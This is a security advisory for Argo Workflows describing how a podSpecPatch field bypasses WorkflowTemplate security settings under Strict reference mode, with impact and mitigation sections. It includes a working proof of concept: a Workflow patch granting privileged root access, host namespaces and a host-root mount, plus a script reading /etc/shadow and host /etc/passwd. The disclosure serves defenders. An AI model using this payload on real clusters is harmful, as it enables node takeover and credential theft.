GHSA-3wf5-g532-rcrr

Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode

## Summary A user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation. ## Details Three issues combine to create this vulnerability: 1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow's value replaces the WorkflowTemplate's value. 2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`. 3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present. ## PoC ### Prerequisites A local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/). #### 1. Create a kind cluster and install Argo Workflows ```bash kind create cluster --name argo-poc kubectl create namespace argo kubectl apply -n argo --server-side \ -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml ``` Note: `--server-side` is required because some CRDs exceed the client-side annotation size limit. Wait for the controller to be ready: ```bash kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s ``` #### 2. Enable `templateReferencing: Strict` Patch the workflow controller configmap to enforce Strict mode: ```bash kubectl patch configmap workflow-controller-configmap -n argo --type merge \ -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}' ``` Restart the controller to pick up the new config: ```bash kubectl rollout restart deployment workflow-controller -n argo kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s ``` #### 3. Verify Strict mode is active Attempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected: ```bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: strict-test- spec: entrypoint: test templates: - name: test container: image: alpine command: [echo, "hello"] EOF ``` The Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status: ```bash STRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1) kubectl get -n argo "$STRICT_WF" -o jsonpath='{.status.phase} {.status.message}' ``` Expected output: ``` Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode ``` #### 4: Create a hardened WorkflowTemplate An administrator creates a `WorkflowTemplate` with restrictive security settings: ```bash cat <<'EOF' | kubectl apply -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: secure-template namespace: argo annotations: description: "Admin-approved secure template with hardened security settings" spec: entrypoint: secure-task securityContext: runAsNonRoot: true runAsUser: 1000 fsGroup: 1000 templates: - name: secure-task container: image: alpine:latest command: ["/bin/sh", "-c"] args: - | echo "=== Security Context Check ===" echo "Current UID: $(id -u)" echo "Current GID: $(id -g)" if cat /etc/shadow 2>/dev/null; then echo "EXPLOITED: Can read /etc/shadow!" else echo "SECURE: Cannot read /etc/shadow" fi if ls /host/etc/passwd 2>/dev/null; then echo "EXPLOITED: Host filesystem accessible!" cat /host/etc/passwd | head -5 else echo "SECURE: No host filesystem access" fi if [ "$(id -u)" = "0" ]; then echo "EXPLOITED: Running as root!" else echo "SECURE: Running as non-root (UID: $(id -u))" fi echo "=== End Check ===" securityContext: runAsNonRoot: true runAsUser: 1000 allowPrivilegeEscalation: false capabilities: drop: - ALL EOF ``` #### 5. Submit a legitimate Workflow (baseline) Submit a Workflow that references the secure template without modification: ```bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: legit-use- namespace: argo spec: workflowTemplateRef: name: secure-template EOF ``` Wait for completion and check logs: ```bash LEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1) kubectl wait -n argo --for=condition=Completed "$LEGIT_WF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGIT_WF)" -c main ``` Expected output (confirming the template's security settings are applied): ``` === Security Context Check === Current UID: 1000 Current GID: 0 SECURE: Cannot read /etc/shadow SECURE: No host filesystem access SECURE: Running as non-root (UID: 1000) === End Check === ``` #### 6. Submit the bypass Workflow Submit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings: ```bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: bypass-security- namespace: argo spec: workflowTemplateRef: name: secure-template podSpecPatch: | hostPID: true hostNetwork: true containers: - name: main securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: add: - ALL drop: [] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory EOF ``` Wait for completion and check logs: ```bash BYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1) kubectl wait -n argo --for=condition=Completed "$BYPASS_WF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASS_WF)" -c main ``` Expected output (all security settings bypassed): ``` === Security Context Check === Current UID: 0 Current GID: 0 root:*::0::::: bin:!::0::::: [... /etc/shadow contents dumped ...] EXPLOITED: Can read /etc/shadow! EXPLOITED: Host filesystem accessible! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [... host /etc/passwd contents ...] EXPLOITED: Running as root! === End Check === ``` The file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0. ## Impact The purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature: > You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature. A user who can submit Workflows referencing approved templates can use `podSpecPatch` to: - Run containers as root (`runAsUser: 0`) - Enable privileged mode (`privileged: true`) - Mount the host filesystem (`hostPath` volumes) - Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`) - Add all Linux capabilities (`capabilities.add: ["ALL"]`) This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`. The `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149. ## Mitigation When `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`. Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.